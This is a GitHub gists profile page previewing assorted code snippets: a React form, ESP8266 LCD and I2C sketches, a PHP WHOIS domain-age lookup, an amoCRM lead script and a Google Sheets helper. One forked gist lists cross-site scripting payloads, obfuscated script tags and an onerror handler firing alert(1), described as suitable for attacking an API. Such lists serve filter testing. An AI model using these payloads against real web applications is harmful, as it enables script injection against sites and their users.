Skip to content

Instantly share code, notes, and snippets.

🎯
Focusing

Alex Maslakov jmas

🎯
Focusing
Block or report user

Report or block jmas

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@jmas
jmas / Colorful-Language.markdown
Created Sep 13, 2019 — forked from mattnico/Colorful-Language.markdown
A Javascript function to calculate a unique color for any English word.
View Colorful-Language.markdown

Colorful Language

This Javascript will calculate a unique color for any English word typed into it. Currently other alphabets are not supported. Punctuation and white space are ignored.

A Pen by Matt Nicolaysen on CodePen.

License.

View send.php
<?php
// process form
// respond as HTML with updated state
@jmas
jmas / app.js
Last active Jul 11, 2019
react-application.js
View app.js
import React, { useState } from 'react';
export default function App({ data }) {
const [ text, setText ] = useState(data.isChecked);
const [ error, setError ] = useState(null);
const [ isSuccess, setIsSuccess ] = useState(false);
const [ inProgress, setInProgress ] = useState(false);
function submitForm() {
setIsSuccess(false);
@jmas
jmas / 666_lines_of_XSS_vectors.html
Created Apr 4, 2019 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
View 666_lines_of_XSS_vectors.html
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@jmas
jmas / LiquidCrystal_I2C_esp8266.cpp
Created Feb 5, 2019
LiquidCrystal I2C for ESP8266
View LiquidCrystal_I2C_esp8266.cpp
#include <LiquidCrystal_I2C.h>
// Set the LCD address to 0x27 for a 16 chars and 2 line display
LiquidCrystal_I2C lcd(0x3F, 16, 2);
void setup()
{
// initialize the LCD
// lcd.begin(); // Init with pin default ESP8266 or ARDUINO
lcd.begin(0, 2); //ESP8266-01 I2C with pin 0-SDA 2-SCL
// Turn on the blacklight and print a message.
@jmas
jmas / i2c_address_scanner_arduino_esp8266.cpp
Created Feb 5, 2019
I2C address scanner Arduino (ESP8266) sketch
View i2c_address_scanner_arduino_esp8266.cpp
// --------------------------------------
// i2c_scanner
//
// Version 1
// This program (or code that looks like it)
// can be found in many places.
// For example on the Arduino.cc forum.
// The original author is not know.
// Version 2, Juni 2012, Using Arduino 1.0.1
@jmas
jmas / domain-age.php
Created Jan 9, 2019 — forked from SaptakS/domain-age.php
PHP code to find Domain Age of a domain
View domain-age.php
<?php
$domain = $_GET['domain'];
$w = new DomainAge();
echo $w->age($domain);
class DomainAge
{
private $WHOIS_SERVERS = array(
"com" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"),
"net" => array("whois.verisign-grs.com", "/Creation Date:(.*)/"),
@jmas
jmas / send.php
Created Jan 5, 2019 — forked from webag/send.php
Добавление контакта и сделки в amocrm
View send.php
<?
//amo
//ПРЕДОПРЕДЕЛЯЕМЫЕ ПЕРЕМЕННЫЕ
$responsible_user_id = 7292136; //id ответственного по сделке, контакту, компании
$lead_name = 'Заявка с сайта'; //Название добавляемой сделки
$lead_status_id = '11331793'; //id этапа продаж, куда помещать сделку
$contact_name = $cname; //Название добавляемого контакта
$contact_phone = $cphone; //Телефон контакта
@jmas
jmas / google_script_sheet_api.js
Last active Nov 2, 2018
Google script sheet API
View google_script_sheet_api.js
function createSheetApi(sheetName) {
var doc = SpreadsheetApp.getActiveSpreadsheet();
var sheet = doc.getSheetByName(sheetName);
var headers = sheet.getRange(1, 1, 1, sheet.getLastColumn()).getValues()[0];
function mapValues(values) {
var data = {};
for (var i=0, length=headers.length; i<length; i++) {
data[headers[i]] = values[i];
}
return data;
View handle_response.js
class ErrorResponseServiceNotAvailable extends Response {}
class ErrorResponseBackendFailed extends Response {}
class ErrorResponseValidation extends Response {}
class SuccessResponse extends Response {}
// the function
function handleResponse(response) {
if (response.status === 200) {
return new SuccessResponse(response);
You can’t perform that action at this time.